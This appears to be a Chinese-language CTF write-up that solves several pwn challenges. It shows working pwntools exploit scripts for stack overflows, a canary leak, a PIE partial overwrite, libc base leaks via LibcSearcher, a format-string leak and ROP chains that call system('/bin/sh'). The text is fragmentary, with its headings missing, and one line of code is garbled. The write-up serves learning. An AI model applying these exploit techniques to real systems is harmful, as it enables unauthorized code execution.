这个是典型的新手题了,nc连上去就有shell, 直接可以拿到flag。
main函数
这里我们看到read函数位置会出现一个典型的栈溢出。
然后我们计算下溢出位置到返回值之间的距离,就可以控制程序流程了,
然后就可以着手写exp,这里简单写下payload部分:
payload = 'a' * 0x38 + p64(0x0400751)
这个题目比较复杂。
main 函数会转到 vul函数,前半部分选择一个文件打开,并没有什么有用的位置,
我们设定一个函数去简单略过这一部分:
def vul(payload1):
sla('path:', 'flag')
sla('len:', '1000')
sa('note:', payload1)
ru(payload1)
然后后半部分,是读取一个长度,然后读入对应长度的数据,并且如果不是0x270的话会重新读入一次。
这里我们看下栈内,读取0x270的话可以恰好覆盖掉ret的位置。
同时我们看到存在一个canary保护。
这个题目的位置,在第一个溢出点后有打印,然后又存在第二个溢出点,这时候我们可以先输入一段,带出canary的值,然后在第二个溢出点放回canary的值。
这时候我们也可以看到基本的题目思路:
libcSearcher
,就可以获得sys和binsh的地址,第二个溢出点不能构建rop链,得第一个溢出点写出来然后第二个在覆写一遍前面的一部分。就可以直接getshell然后我们在第二次输入的时候canary的值放回去,并且可以修改ret地址,由于这个位置开启pie,
这里讲一点。关于pie技术的缺陷:
由于内存是以页载入机制,开启pie的时候,最多影响到单个内存页,一个内存页大小为0x1000, 即我们的低三位是固定不变的,可以通过覆盖地址后几位控制程序流程。 这个方式称为
"partial write"
。
这里我们看到,应该返回地址为2e
我们覆盖修改为20
就可以返回到main 函数再次运行一次了。
这样我们的第二段payload 就是’a’* 600了
这样我们可以进行下一阶段的利用了。
下面是直接泄露程序基地址,我们这个程序使用puts
反显,我们想泄露的值只要没有'\x00'
就可以直接泄露出来。
这样我们的泄露elf的基地址和libc的基地址都只需要思考关于要覆盖的长度的问题。
elf:
libc:
push ebp
,这个压栈就会将我们的main 函数返回值推远一个距离。如此我们就可以直接得到所有需要的值getshell 了。
另外注意一下,这个main 函数的返回地址,在libcSearcher中使用
__libc_start_main_ret
最后的payload
def vul(payload1):
sla('path:', 'flag')
sla('len:', '1000')
sa('note:', payload1)
ru(payload1)
# leak canary
payload1 = 'a' * 600 + '\n'
vul(payload1)
s = rl()
canary = u64(b'\x00' + s[:7] )
payload2 = flat(['a' * 600, canary, 0, '\x20'])
sd(payload2)
# leak elf base
payload1 = 'a' * 616
vul(payload1)
s = rl()
ret_addr = u64(s[:-1]+b'\x00\x00')
elf_base = ret_addr - 0xd2e
sd(payload2)
# leak libc base
payload1 = 'a' * 680
vul(payload1)
s = rl()
start_addr = elf_base + 0x0970
payload2 = flat(['a' * 600, canary, 0, start_addr])
sd(payload2)
print(d)
print(len(s))
__libc_start_main_ret = u64(s[:-1]+b'\x00\x00')
print(hex(__libc_start_main_ret))
obj = LibcSearcher('__libc_start_main_ret', __libc_start_main_ret)
libc_base = __libc_start_main_ret - obj.dump('__libc_start_main_ret')
sys_addr = obj.dump('system') + libc_base
sh_addr = obj.dump('str_bin_sh')le + libc_base
pop_rdi = elf_base + 0xe03
main = elf_base + 0xd20
# get shell
payload1 = flat(['a'*600, canary, 1, pop_rdi, sh_addr, sys_addr, main])
sla('path:', 'flag')
sla('len:', '1000')
sa('note:', payload1)
rl()
payload2 = flat(['a'*600, canary, 1, pop_rdi])
sd(payload2)
ia()
在后面的函数中存在system()
但是我们需要system('/bin/sh')
,在字符串中查找没有,
但是题目暗示应该是要找到的,这里牵扯到一个知识点:
$0
相当于一个sh的作用。
构建在这个位置就可以了。
我们的payload:
sh = 0x0060111F
sys_addr = 0x400570
pop_rdi = 0x4007D3
payload = flat([b'a'*0x18, pop_rdi, sh, sys_addr])
在main 函数可以看到两个重要的漏洞
我们要构造rop链,而且这个位置看到nc没开启,直接第一个格式化字符串漏洞打印出来libc的基地址,然后下面在栈溢出构造一个system的rop
payload1 = "%11$p"
ru("?\n")
sl(payload1)
rl()
libc_main = int(rl(),16)
success(hex(libc_main))
obj = LibcSearcher('__libc_start_main_ret', libc_main)
libc_base = libc_main - obj.dump('__libc_start_main_ret')
sys_addr = obj.dump('system') + libc_base
sh_addr = obj.dump('str_bin_sh') + libc_base
gezi = '鸽子'
zhenxiang = '真香'
payload = (gezi + zhenxiang).ljust(0x28, 'a')
payload += p64(0x400933) + p64(sh_addr) + p64(sys_addr)
ru('?')
sl(payload)
另外要注意中文的出现,要在最开始注明# coding=utf-8